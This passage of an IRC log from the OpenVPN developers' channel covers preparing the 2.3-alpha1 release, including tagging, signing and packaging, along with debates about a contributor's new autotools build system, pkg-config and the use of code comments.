article.gmane.org) 03:45 <@d12fk> the first two discussion bullets 03:45 <@dazo> d12fk: wonderful! thx a lot! :) 03:49 -!- swg0101 is now known as swg0101_away 03:50 <@mattock> ok, I replied to Alon's "maybe I should give up" mail 03:51 <@d12fk> hes already giving up? 03:51 <@mattock> in a nutshell, I think we should review his work as a whole first 03:51 <@d12fk> maybe i should read the thread =) 03:51 <@mattock> yeah, in one mail... "I see I've wasted 3 days of work" 03:51 <@d12fk> man this guy is nuts 03:51 <@mattock> he can be a handful 03:52 <@mattock> but if he can do good work, I think we want to find a way to work with him 03:52 <@mattock> if his approach is better than the current one, we can expect him to take good care of the build system 03:53 <@d12fk> as i said my opinion is that ppl like him have a tendency to scare more ppl away from the prj than do actual help 03:54 <@mattock> in a nutshell, we want to harness Alon's autotools skills and energy without him causing too much damage community-vise 03:54 <@mattock> yeah, that's an issue 03:54 <@mattock> but now he's doing useful work (hopefully) 03:54 <@d12fk> first time patch poster getting yelled at by alon will turn around and mark ovpn idiots 03:55 <@d12fk> and we all know how it feels 03:55 <@cron2> yeah... I seriously wondered yesterday whether I really want to enter the X_OK discussion... (but then I couldn't resist, and my asbestos underwear is still in fairly good shape) 03:56 <@d12fk> lol 03:57 <@d12fk> my coworker always says: dont argue with idiots, they drag you down to their level and beat you with experience =) 03:57 <@dazo> lol ... that's a good one! 03:58 <@dazo> Even though Alon is darn clever, but he behaves really nasty some times ... and he doesn't like that people disagree with him 03:58 <@d12fk> yeah not the stereotype of an idiot 03:59 <@mattock> however, Alon used a smiley in one of his posts 03:59 <@mattock> which is a good sign 03:59 <@d12fk> not saying hes not helping, but the sideeffects, the sideffects... 03:59 <@mattock> often people send email, forget smileys and seem like idiots 03:59 <@dazo> nope, he is more an extreme genius of some kind .... I googled him last night ... and some places he really have good conversations - even with people disagreeing (LKML), and other places he is like we experience him 03:59 <@mattock> that's not to say that's the entire story here... 04:00 <@mattock> dazo: so he really _does_ know best in this case? 04:00 <@d12fk> the hans reiser of ovpn 04:00 <@dazo> d12fk: probably :) 04:00 <@mattock> let's see what he's got to offer 04:00 <@mattock> it's not too hard to beat the current situation I think 04:00 <@dazo> mattock: he sure thinks so ... and yes, he *do* know a lot of things ... but the world is not so black/white as he wants it to be 04:01 <@mattock> yeah, that's his issue for sure 04:01 <@mattock> but if we can use 90% of his work as-is that's good enough I think 04:01 <@mattock> we can fight over the details later 04:01 <@mattock> best keep him busy while he's got energy 04:01 <@dazo> I've skimmed some of his patches ... and there are really some good changes, which I will gladly ACK with no feelings whatsoever ... I'm happy for them 04:03 <@dazo> but I disagree with some of them ... (f.ex. why do we need the config-msvc.h ... when the equivalent is generated already as config.h by the python win/ stuff?) 04:04 <@dazo> mattock: I can rip-out the easy-rsa directory today ... and put it in a separate git tree on sf.net 04:04 <@dazo> I actually see one of alons patches deletes the easy-rsa stuff ... so I can ack that and do that magic 04:05 <@mattock> dazo: I'll look into the config-msvc.h stuff 04:05 <@mattock> the python build system is also a bit too complex for my taste 04:05 <@dazo> agreed 04:05 <@mattock> having the tap-driver separated makes perfect sense 04:05 <@dazo> agreed 04:06 <@dazo> but at least the python build stuff we have now, it works pretty well on MSVS ... which that is what it is specially designed for ... which aligns with James build stuff too (at least I hope so :)) 04:06 <@mattock> actually, I think most of the complexity in it (=python buildsystem) is because of the need to live with the crappy 04:06 <@mattock> buildsystem situation 04:07 <@mattock> it does some pretty nasty file parsing with regexps and such 04:07 <@mattock> I say shoot the current buildsystem mess to the head if Alon's got a cleaner alternative :D 04:07 <@mattock> even though it means more work for me briefly 04:07 <@dazo> most likely ... well, if it makes sense to have config-msvc.h ... then that's better :) but why not then do a 'copy config-msvc.h config.h' ... and not modify all the source files with #ifdef ... #include #else #include #endif 04:08 <@mattock> let's give Alon a benefit of the doubt for now 04:08 <@mattock> maybe he's got a point 04:08 <@mattock> and if not, then we can put screws on him and see how he responds 04:08 <@dazo> mattock: remember that Alon is all mingw oriented for Windows builds ... he haven't looked carefully at the python integration at all, as it was a surprise that we killed config-win32.h for him 04:09 <@dazo> so I doubt he tests building on MSVS 04:09 <@mattock> yeah, I'll make sure I complain to him 04:09 <@dazo> :) 04:09 <@mattock> he seems to be pretty responsive to bugs (e.g. today) 04:09 <@mattock> and if the new buildsystem is _really_ cleanly written, adding MSVC builds should not pose much of a problem 04:09 <@dazo> yeah, I don't think he likes that we find errors in his work ;) 04:09 <@dazo> agreed 04:10 <@mattock> I think that's a good approach... let him have it his way, and then point out problems which he fixes as he's a pedant 04:10 <@mattock> and when the new buildsystem has been proven to be better than the current one, start moving it to official git 04:10 <@dazo> The discussion yesterday probably biased me too much ... thx for clearing my mind a bit :) We'll give him a fair change, and I'll do my best too :) 04:10 <@dazo> good approach! 04:11 <@mattock> hmm, I got to go now, will be back in 1:30 04:11 <@mattock> dazo: you can tag the tree if you did not do that already 04:11 <@dazo> what is purely autotools related, we can start pulling in to master already, I think ... but what might impact MSVS, I want to be careful with :) 04:11 <@mattock> smoketests passed on win7-amd64 and winxp-i386 04:11 <@dazo> mattock: cool! I'll tag now :) 04:11 <@mattock> yeah 04:11 <@mattock> later 04:12 <@d12fk> dazo: hang on one more test for mingw with the X_OK mess 04:13 <@d12fk> just nee to get sshd running on my win8 04:13 <@d12fk> err 7 =) 04:13 <@dazo> ahh, one more test before tagging :) 04:13 <@d12fk> yes, about whether we actually need cron2's approach to mask out X_OK in _waccess directly for mingw 04:30 * andj wrote a small rant 04:31 <@dazo> andj: should we be worried? :) 04:32 <@andj> nah, I tried to keep it friendly :) 04:32 <@dazo> :) 04:34 <@dazo> andj: thx for the nice rant ... Completely agree! 04:34 <@d12fk> dazo: mingw seems to handle _waccess with X_OK internally (magic) so no problem with tagging current 04:35 <@dazo> d12fk: cool! thx for testin! 04:35 <@d12fk> dazo: or maybe we should even test it on our buildserver that is confirmed to have the issue 04:35 <@dazo> d12fk: good point ... it should already have been built there 04:35 <@d12fk> i used win7 our server is based on vista iirc mattock? 04:36 -!- Intensity [qDjxirL6J8@unaffiliated/intensity] has quit [Quit: Quit] 04:36 <@d12fk> well that ones build with msvc 04:36 * dazo logs into buildbot 04:36 <@d12fk> mattock: ill send you an .exe which checks for c:/test and c:/test.txt (dir and file) 04:37 <@d12fk> run it from a console it should put out two lines with the status of _waccess 04:44 <@d12fk> on its way to your ovpn account 04:59 <@dazo> tree tagged, wrapping up source balls and I'll push out the tree 04:59 -!- Intensity [gqiClL7OSn@unaffiliated/intensity] has joined #openvpn-devel 05:30 <@dazo> mattock: buildbot behaves odd nowadays ... 05:35 <@vpnHelper> RSS Update - testtrac: Preparing OpenVPN 2.3-alpha1 release <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=d3ae271f719a83e41c2eda3306156d02933203f8> 05:45 <@mattock> d12fk: ok 06:04 <@andj> ok, I'm sort of convinced that pkg-config is the way to go then, if the *BSD experts agree :) 06:13 <@mattock> dazo: odd as in how? 06:14 <@mattock> do you think having a signed GUI for 2.3-alpha1 is important? 06:14 <@mattock> because james would have to sign the GUI _before_ I generate the installer 06:14 <@mattock> so that the installer's signature matches 06:14 <@mattock> it's alpha, so I'm inclined to say it's not 100% necessary 06:16 <@mattock> dazo: it's because of the (incomplete) test server integration 06:16 <@mattock> I should probably turn that off until I manage to fix it 06:23 <@d12fk> [advertisement warning] our office in the movies: http://www.nerd-zone.com/auf-rundgang-mit-dem-chef 06:23 <@vpnHelper> Title: Auf Rundgang mit dem Chef | www.nerd-zone.com (at www.nerd-zone.com) 06:23 <@d12fk> just for those who are interested in how stuff looks over here 06:24 <@mattock> d12fk: I'll have to take a look :) 06:24 <@mattock> just sent an announcement of the 2.3-alpha1 preview 1 installer 06:25 <@mattock> in case somebody manages to catch a lash minute bug before James sign the stuff 06:29 <@mattock> aber wo ist Heiko? 06:35 <@d12fk> heiko bailed out when he was asked to join the carrera race 06:35 <@d12fk> however tried it last friday for the first time and must say the track rocks pretty much 06:40 <@cron2> andj: what was that about pkg-config? 06:41 * cron2 wakes up, and is alarmed 06:41 <@mattock> cron2: as always? 06:41 <@cron2> I never like being woken up 06:41 <@mattock> :P 06:41 <@mattock> oh, I love it, except when it's at the wrong time 06:41 <@mattock> it often is 06:44 <@dazo> mattock: I don't think the signed GUI is important in this release 06:45 <@mattock> dazo: ok, then I'll generate the installer and send it to James for signing 06:46 <@dazo> mattock: buildbot ... I'm not sure it really has done a clean build ... and several of the slaves failed on git stuff ... but not sure if my "re-submission" overwrote the old build logs, or if it only rebuilt those which failed .... but I'll have a look again now 06:46 <@dazo> I pushed out the 2.3-alpha1 Changelog commit + tag, so that should have triggered a new build 06:54 <@mattock> it's doing incremental pulls instead of full git clone 06:54 <@mattock> that's because of the number of build permutations 06:54 <@mattock> or combinations... never can remember the difference :P 06:55 <@andj> cron2: I was wondering if pkg-config was a good idea (TM) on *BSD, as Alon's included it in the new build system 06:55 <@andj> But mattock answered using a wikipedia link :) 06:55 <@dazo> heh 06:56 <@mattock> andj: wikipedia links help end pointless discussions :D 06:56 < ecrist> ping mattock 06:56 < ecrist> are those alphas going onto an openvpn.net server? 06:56 * andj is happy with pkg-config then 06:56 <@mattock> ecrist: yeah, to swupdate.openvpn.net 06:57 < ecrist> let me know when they're there. 06:57 <@mattock> don't have the signatures yet 06:57 <@mattock> will do 06:58 < ecrist> is narendra done with the vb changes? 07:00 <@dazo> ecrist: mattock: just for the sake of completeness ... http://www.fpaste.org/vQn7/ 07:00 <@dazo> (that's sha256sums of the tarballs) 07:01 < ecrist> I can't do anything with them until they're on the correct servers 07:02 < ecrist> no rush, once they're there, it takes < 1 day to get the update pushed out 07:02 <@dazo> no problem :) 07:03 <@dazo> Just wanted to be sure you could verify the authenticity 07:03 < ecrist> gotcha 07:04 * cron2 is not sure pkg-config is a good idea. why do we need it in a non-library project? 07:04 <@cron2> now, for your typical convoluted gnome related bloatware that needs 400 compiler switches to build and link properly, pkg-config is the way to retain sanity 07:04 <@cron2> but for openvpn? 07:05 * dazo thought pkg-config was to identify ssl, lzo, etc libs 07:05 <@dazo> when ./configuring openvpn 07:05 <@cron2> now that would require lzo to install pkgconfig control files... which it doesn't 07:07 <@mattock> cron2: I think the best strategy with Alon is to let him have it his way, and then point the problems to him in form of bugs 07:07 <@cron2> mattock: I'm not going to argue with Alon today, more with you and andj 07:07 <@mattock> ok, good :) 07:08 <@dazo> Lets let this pkg-config patch calm down for a day or two ... and then we can ask it, if nobody else have done so 07:09 <@mattock> yeah, good idea 07:09 <@cron2> agree 07:10 <@dazo> liblzo doesn't seem to be packaged with pkg-config stuff on Fedora 14 either ... so that might be an issue ... openssl does 07:10 <@dazo> (and that's all I will say about that now :)) 07:11 <@mattock> dazo: do you think this is the proper changelog: "git shortlog v2.2.2...HEAD" ? 07:11 <@cron2> gert@fbsd74:/usr/local/share$ pkg-config --cflags openssl 07:11 <@cron2> gnome-config: not found 07:11 <@cron2> Package openssl was not found in the pkg-config search path. 07:11 <@cron2> Perhaps you should add the directory containing `openssl.pc' 07:11 <@cron2> to the PKG_CONFIG_PATH environment variable 07:11 <@cron2> No package 'openssl' found 07:11 <@dazo> mattock: you can do: git show v2.3-alpha1 07:11 <@mattock> ok, let's try that one 07:11 <@cron2> but I'm willing to rest my case on this 07:11 <@dazo> and you'll have the changelog which I generated with shortlog + some minor editing :) 07:12 <@mattock> hmm, I wonder what git _can't_ do 07:12 <@dazo> cron2: making it harder to build is not an option in my eyes ... that's why we started this round to start with 07:13 <@dazo> mattock: give me 48 hours per day ... :( 07:19 <@cron2> dazo: if it fails "smoothly", as in "if pkg-config is there and gives meaningful results, use that, and if not, try the conventional approach" 07:19 <@cron2> that would be perfectly fine with me 07:19 <@dazo> agreed! 07:24 <@mattock> changelog now online: http://openvpn.net/index.php/open-source/documentation/change-log.html 07:24 <@vpnHelper> Title: Change Log (at openvpn.net) 07:38 <@mattock> 2.2.2 is back online 07:38 <@mattock> (yes, it was away since the website maintenance thingy) 07:46 <@dazo> d12fk: your two patches are in the tree now ... pushing it out right now 07:46 <@dazo> and thx again for looking up the ACKs in the chatlogs! 07:48 <@vpnHelper> RSS Update - testtrac: fix warnings in event.c when building for win32-64 <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=3c19fcc2099d8ddf6bfeec6550d4e3cb1cbf3431> || remove wrapper code for Windows CryptoAPI function <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=14a382a3f1c70fdbc822bcad27096040ed394661> 08:06 <@mattock> I'm considering scrapping the fancy HTML man-page thingy... it's always a huge pain to format the HTML version 08:06 <@mattock> due to <connection> profile stuff and also because of the links 08:07 <@mattock> ah, how easy it was to use "man ./openvpn.8 > /tmp/openvpn.8.txt" :D 08:07 <@mattock> all formatting (except for the links) intact 08:09 <@mattock> hmm, a bit crude, though: http://openvpn.net/index.php/manuals/523-openvpn-23.html 08:09 <@vpnHelper> Title: OpenVPN 2.3 (at openvpn.net) 08:16 <@mattock> ok, now it's much better: http://openvpn.net/index.php/manuals/523-openvpn-23.html 08:16 <@vpnHelper> Title: OpenVPN 2.3 (at openvpn.net) 08:17 <@mattock> hmm, double line feeds at the end, interesting 08:24 <@mattock> ok, now it's fixed, joomla playing silly tricks 08:26 <@dazo> mattock: do you generate this by a script? 08:26 <@mattock> well, "man openvpn.8 > something.txt" 08:26 <@mattock> and then surround it with <pre> </pre> tags on the web page 08:27 <@mattock> the man2html worked for the most part, but all the links were broken and <connection> sections were messed up 08:27 <@dazo> ahh, okay ... just wondering if it would be possible to add some anchors on the options ... so you could do http://openvpn.net/index.php/manuals/523-openvpn-23.html#route ... and go straight to --route 08:27 <@vpnHelper> Title: OpenVPN 2.3 (at openvpn.net) 08:27 <@dazo> but don't stress with it :) 08:27 <@mattock> I'd rather not 08:27 <@dazo> just a low prio nice to have feature :) 08:27 <@dazo> very low, even :) 08:28 <@mattock> I'll wait for the possible complaints and then reconsider :D 08:28 <@dazo> heh :) 08:28 <@mattock> this text formatted man-page is _so_ much easier for me 08:28 <@dazo> I don't mind what we have now ... it's very readable :) 08:28 <@mattock> cuts down release time by 20% 08:29 <@dazo> we probably should have a copyright update-patch soonish too ... at least before the release 08:31 <@mattock> yeah 08:32 <@mattock> and also "Last updated" patch for the man-page 08:32 <@mattock> "Last updated in ... 2008" does not sound good or correct 08:37 <@mattock> made some fixes to the download page 08:38 <@mattock> now onto building the windows installer from dazo's tarball 08:38 <@dazo> nice! 08:48 <@mattock> files here: http://build.openvpn.net/downloads/releases/ 08:48 <@mattock> I'll mail a link to James 08:48 <@vpnHelper> Title: Index of /downloads/releases (at build.openvpn.net) 08:51 <@dazo> two of my private boxes are now upgraded to 2.3-alpha1 08:51 <@dazo> plus my laptop of course :) 08:51 <@dazo> (that gives 4 different config tests. which is used daily) 08:52 <@mattock> ouch, forgot about the readme man-page issue 08:52 * dazo need to prepare for a meeting 08:56 <@mattock> dazo: do we have a good summary of major changes somewhere? 08:56 <@mattock> IPv6 support + PolarSSL obviously... anything else? 09:01 <@dazo> A v3 plugin API, which gives access to the SSL certificate in native SSL library format 09:01 <@dazo> (and is more easily expandable than earlier) 09:01 <@mattock> ok, I'll add that to the highlights section 09:01 <@mattock> INSTALL-win32.txt issue fixed now 09:02 <@dazo> mattock: I'm entering a phone meeting now ... so need to go more carefully through the changelog ... there are more stuff there too 09:06 <@mattock> ok, no hurry 09:07 <@mattock> I'll leave in less than an hour and will be back in 3-4 hours 09:07 <@mattock> I'll manage to get most of the release stuff done before I leave 09:35 <@mattock> http://build.openvpn.net/downloads/build-dependencies/ 09:35 <@vpnHelper> Title: Index of /downloads/build-dependencies (at build.openvpn.net) 09:44 <@mattock> buildslave farm now building debian packages 09:44 <@mattock> got to go now, hope nothing explodes meanwhile :) 10:30 -!- swg0101_away is now known as swg0101 10:32 <@d12fk> dazo: cool, took a while =) 10:33 <@dazo> d12fk: a bit too long for my taste ... but better late than never :) 11:02 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 245 seconds] 11:04 -!- swg0101 is now known as swg0101_away 11:09 -!- jamxnl [jamx@2a01:4f8:140:5243::1234] has quit [Ping timeout: 245 seconds] 11:16 -!- raidz_afk is now known as raidz 11:17 -!- swg0101_away is now known as swg0101 11:26 <@d12fk> quite some changelog 11:27 <@d12fk> and a lot of developers, good thing 11:28 <@dazo> yeah, I'm very happy with that :) 11:39 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 11:39 -!- mode/#openvpn-devel [+o cron2] by ChanServ 11:48 <@dazo> ohhh ... I see d12fk is daring .... 11:48 * dazo expects some more flames on the ML now ..... 11:55 <@d12fk> nah just improving the code in general 11:56 <@d12fk> and alon is already improving it further 11:57 <@d12fk> this is going to be great for ovpn... if it still compiles anywhere 11:57 <@dazo> agreed, I've looked more at his patches ... and there is a lot of good things there 11:58 <@dazo> I see he adds 'msbuild' for MSVS builds ... not sure how that will work out ... but if that can solve the python hurdles, then it will be good! 12:39 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 12:47 <@dazo> mattock: it's actually quite some new features in v2.3 ... far more than I was aware of ... 12:47 <@mattock> ah 12:47 <@dazo> http://www.fpaste.org/XOqU/ 12:48 <@dazo> I've done my best to give a quick summary of each of the points I find important to highlight 12:52 <@dazo> d12fk: do you have any chance to look at the --use-old-certificate-string-format feature? Is it far down on your todo list? 12:53 <@dazo> We will see how it goes with alpha1, but I do expect some complaints on that one ... it's mostly server side which need it how I see it 12:54 <@dazo> as --plugin and script hooks might not be easily modified ... while adding such a feature on the client side might be non-sense, as the config must be modified anyway ... then --tls-remote needs to be modified instead 13:38 -!- dazo is now known as dazo_afk 14:04 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 14:10 <@mattock> just talked to james 14:10 <@mattock> he'll sign the release files ... I might be able to make the release today if he's quick 14:10 <@mattock> if not, then tomorrow morning 15:25 <@vpnHelper> RSS Update - tickets: #194: Management Interface does not allow UTF8 passwords <https://community.openvpn.net/openvpn/ticket/194> 15:32 <@cron2> mmmh, d12fk does not really like comments... 15:57 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:57 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:34 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 17:54 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:54 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:30 -!- raidz is now known as raidz_afk 20:05 -!- swg0101 is now known as swg0101_away 20:48 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 20:51 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 21:15 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:15 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 21:45 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:45 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Feb 22 2012 00:03 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 00:54 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:54 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:45 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 02:08 -!- swg0101_away is now known as swg0101 02:30 <@mattock> Alon's cross-build for i386 worked fine with a minor permission -related issue 02:30 <@mattock> I'll test the resulting binaries on WInXP 02:44 <@mattock> openvpn-2.3-alpha1 in debian repos 02:44 <@mattock> need to do some extra work for Fedora16 snaphots 02:44 <@mattock> ...in _snapshot_ debian repos, that is 02:44 <@mattock> not the stable repos 03:15 <@d12fk> cron2: what about comments 03:17 <@d12fk> dazo: i still have the patch in mind, havent worked on it though. when is a bets planned? 03:17 <@d12fk> i disagree that it's only a server issue, changing the client config is the hard part really 03:18 <@d12fk> and do you really want it completely compatible, as in all the things? 03:19 <@cron2> d12fk: you don't seem to like comments very much... from past experience, I know how important comments are when it comes to understanding "platform workarounds" some years later 03:20 <@d12fk> thats what git is for 03:20 <@cron2> no 03:21 <@cron2> going through git, years in the future, to find why a certain bit of code exists, is the wrong approach 03:21 <@d12fk> do you know $(git blame misc.c) ? 03:22 <@mattock> at first sight, Alon's build system seems fairly impressive 03:22 <@cron2> I do, but wading through pages of changes (with sometimes fairly brief commit comments only) to find the reason for a specific line is not the approach taken in OpenVPN so far 03:22 <@mattock> only a single issue during cross-compilation on Linux for Win 32- and 64-bit 03:24 <@d12fk> my experience with comments is that they are outdated as soon as there is another change to the same line 03:25 <@cron2> now that's a question of coding discipline - if you have devs that do not like comments, this is what will happen 03:25 <@cron2> tun.c is full of weird platform-specific differences that only make sense if you have the comments tell you why *this* platform is different again 03:27 <@cron2> I'm not advocating comments of the "i++; // increment i" fashion :-) 03:28 <@d12fk> yeah those mess up things 03:37 <@mattock> 64-bit version works also, nice 03:38 <@cron2> impressive 03:47 <@d12fk> mattock: are you building with msvc? 03:47 <@mattock> nope, cross-compile on Linux 03:47 -!- swg0101 is now known as swg0101_away 03:47 <@mattock> for now, that is 03:47 <@mattock> and if I can avoid building on Windows, I'll definitely do it 03:49 <@d12fk> so we'll get rid of the python one completely 03:50 <@mattock> makes sense 03:50 <@mattock> maybe use it for building the TAP-driver while migrating away from it 03:50 <@mattock> unless that's super-easy to migrate, too 03:51 <@mattock> the next alpha could be cross-compiled maybe 03:51 <@mattock> I'm sending mail to both mailinglist, asking for people to test the binaries I built 03:51 <@cron2> building the tap driver is fairly trivial with the domake-scripts 03:51 <@d12fk> well there's some missing features in mingw, but since we support it anyway it won't slow things down much 03:52 <@d12fk> tar driver build in autotools as well 03:52 <@cron2> mattock: install-win32/maketap is the (msys/bash) script that builds the tap driver with win ddk 03:53 <@mattock> cron2: ok 03:53 <@cron2> uh 03:53 <@cron2> moment 03:54 <@cron2> this looks different from what I seemed to remember 03:58 <@cron2> to be honest, I can't find the place where domake-win builds the tap driver right now, because the "maketap" script only fetches the pre-built driver, or fails if there isn't anything 04:00 <@mattock> james probably got rid of the code at some point 04:00 <@mattock> we can use MSVC to build the TAP-driver for now 04:00 <@cron2> yeah, there's a few commits from James that affect maketap 04:01 <@cron2> indeed, and if I go back, "maketap" has the relevant code in there 04:02 <@cron2> basically it just calls the DDK compiler twice (for i386 and amd64) and then copies stuff around 04:03 <@cron2> not a very nice shell script, though, so I understand why he wants to hide that 04:06 <@mattock> lol 06:28 <@mattock> all ready for release, except signatures 06:34 <@mattock> fedora 16 and centos 6 packages in yum repos 06:47 <@d12fk> first DDOS over IPv6, next milestone taken, haha 06:48 <@d12fk> http://www.arbornetworks.com/report 06:48 <@vpnHelper> Title: Worldwide Infrastructure Security Report | Arbor Networks (at www.arbornetworks.com) 06:52 -!- dazo_afk is now known as dazo 07:02 <@dazo> d12fk: regarding comments ... I do share the view of cron2, tbh ... having comments in the source itself is a good thing. It's easy to forget to do so, and it's all about discipline ... however, the openvpn stinks many places, just because the git log is poor and the comments are lacking .... commit messages in my eyes should rather give an explanation /why/ the patch itself is written and if needed /which/ options where considered ... 07:02 <@dazo> the diff itself explains /how/ with some /why's/ if some odd things are done .... 07:02 <@dazo> some people do pull the source tarballs wants to fix a bug or do some other nice tricks ... they don't see that history .... 07:03 <@d12fk> are you planning on merging the patch? 07:04 <@dazo> I can do that, but then I'm considering to add cron2's comment 07:06 <@d12fk> sure no prob with that, the question was rather going towards whether it makes sense to put more effort into this. if you'll comment on the fly, fine with me 07:07 <@dazo> goodie, then lets do that :) 07:19 <@mattock> should we dump 2.1.4 from the download page now 07:19 <@mattock> or only after final 2.3 release? 07:20 <@dazo> I'd say after 2.3 07:20 <@mattock> ok 07:20 <@mattock> sounds good 07:21 <@mattock> exactly 2 months since 2.2.2 release 07:21 <@dazo> that's not too bad actually 07:22 <@mattock> nope 07:22 <@mattock> and this one is a major release 07:22 <@dazo> even though, slower than what we wanted ... but as nobody of us are hired 100% to do this job, it's not bad at all :) 07:22 <@mattock> the previous ones have been just practice 07:22 <@dazo> mattock: you saw my link with the highlights? 07:23 <@mattock> yep 07:23 <@dazo> goodie :) 07:23 <@mattock> I reformatted it slightly to make it cleaner for email and forum announcements 07:23 <@mattock> maybe I should make Wiki page out of it also... 07:23 <@dazo> it might be a few more ... but they didn't really sound /that/ interesting to me :) 07:23 <@mattock> the list is too long for the official download page 07:24 <@mattock> and the commit list is difficult to read 07:24 <@mattock> or difficult to find the needles from the haystack 07:24 <@mattock> :P 07:24 <@dazo> ahh ... yeah, agreed ... the commit list I probably wouldn't do ... you can just link it to the tag commit in git-web 07:25 <@dazo> mattock: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=tag;h=805d693a717145401b905b90996a81faf9ec5993 07:25 <@vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/tag (at openvpn.git.sourceforge.net) 07:25 <@dazo> Even better ... http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=tag;h=v2.3-alpha1 07:25 <@vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/tag (at openvpn.git.sourceforge.net) 07:25 <@dazo> (use tag name instead of commitsh) 07:25 -!- Irssi: #openvpn-devel: Total of 13 nicks [7 ops, 0 halfops, 0 voices, 6 normal] 07:25 < ecrist> ping raidz_afk 07:26 <@mattock> ah, that's cool 07:26 < ecrist> msg me when you're around 07:26 <@mattock> ecrist: I'd expect raidz to get here in ~4 hours (at 9:26 his time) 07:26 <@mattock> ecrist: still waiting for signatures from james... besides that we're ready for release 07:26 < ecrist> that's fine. thanks. :) 07:27 < ecrist> are the packages on swupdate now? 07:27 <@dazo> mattock: the "Other" part of my summary is kind of important to get some attention to ... as it changes some behaviours from earlier versions 07:27 <@mattock> yeah, it's included 07:27 <@dazo> mattock: I can make the 'echo' point a bit more verbose 07:27 <@mattock> please don't, otherwise I have to edit tons of announcements and web pages :D 07:27 <@mattock> unless it's really necessary 07:28 <@dazo> heh ... well, some people might wonder why that change 07:28 <@mattock> let's see, I already made some additions to the "other" section 07:28 <@dazo> it's basically James who was concerned that you could leak some sensitive data via such echo's 07:29 <@mattock> "A few changes have been made which may affect existing installations" ... 07:29 <@mattock> and a list of the changes in "Other" section 07:29 <@dazo> http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;h=429ab795202dc359f6e282a5addccf4f312317cc 07:29 <@vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/commit (at openvpn.git.sourceforge.net) 07:29 * ecrist doesn't see them 07:32 <@dazo> mattock: ahh! I'm mistaken ... it's only removed from *log files* ... it's still available via the management interface 07:33 <@mattock> dazo: I think I'll link to this page: https://community.openvpn.net/openvpn/wiki/ChangesInOpenvpn23 07:33 <@vpnHelper> Title: ChangesInOpenvpn23 – OpenVPN Community (at community.openvpn.net) 07:34 <@mattock> you can make any changes you need there 07:34 <@mattock> I'll include only the "major" features in the announcements (IPv6, PolarSSL and plugin v3 API) 07:35 <@dazo> mattock: makes sense ... maybe when we're done, we can set this page as "read-only" ... I presume admins can change it back afterwards then 07:35 <@mattock> yes, that's a good idea 07:37 <@dazo> To those major points, I would just add "several improvements to the management interface and one-to-one NAT to circumvent IP address conflicts between local and remote networks" 07:37 * dazo starts editing a few details 07:56 <@dazo> mattock: I'm done with my changes now 07:56 <@mattock> ok, I've adapted all the texts now 07:59 <@dazo> I'm still quite surprised by all the major features we did manage to get in ... much is from James, of course, but now it's really easy to see how much the 2.1 AS version had diverged from the community version 07:59 <@mattock> yep 08:00 <@mattock> once the dust has settled I'll start testing 2.3-alpha1 <-> Access Server integration 08:00 <@mattock> I think that's the best/only way to get James to move on 08:00 <@dazo> agreed :) 08:00 <@mattock> he just doesn't have time, so he's digging himself into a hole 08:00 <@mattock> and it's going to be ever more difficult to get out of the hole without help 08:01 * dazo thinks about rain and collapsing "walls" ... 08:26 <@cron2> well, if it's raining, the question is "can he swim" :-) 08:28 <@dazo> :) 10:30 -!- swg0101_away is now known as swg0101 10:50 < swg0101> now everyone is asleep in here :) 10:51 <@dazo> nope ... we're active on the mailing list ;-) 10:52 < swg0101> haha :) 10:52 < swg0101> now I know who to poke for stuff, yay! 11:04 -!- swg0101 is now known as swg0101_away 11:13 -!- raidz_afk is now known as raidz 11:14 <@raidz> hey ecrist 11:17 <@raidz> ecrist: gonna grab a cup of coffee, ping me when you are around 11:17 -!- swg0101_away is now known as swg0101 11:42 < ecrist> ping raidz 12:21 < swg0101> ping ecrist 12:21 < ecrist> pong 12:21 < swg0101> request timed out 12:21 < swg0101> RST! 12:21 < swg0101> or should I say, ICMP: port unreachable? 12:25 -!- dazo is now known as dazo_afk 12:50 <@raidz> sup ecrist 12:51 < ecrist> is narendra done? 12:52 <@raidz> ugh, no 12:52 <@raidz> this guy is proving to be a pita 12:52 < ecrist> heh, I'm not pressuring, just noticed he did some work, and wasn't sure what he was going to complete 12:53 <@raidz> he is very slowly getting stuff done 12:53 < ecrist> ok, do have a scope wrt the forum? so I'll know? 12:54 < ecrist> I have one or two minor nits with ldap remaining, that I'm waiting for his work to complete (so as not to interrupt him) 12:54 <@raidz> I am thinking another week or two, he has been kind of unpredicatble 12:54 < ecrist> and then I'm ready to start the migration 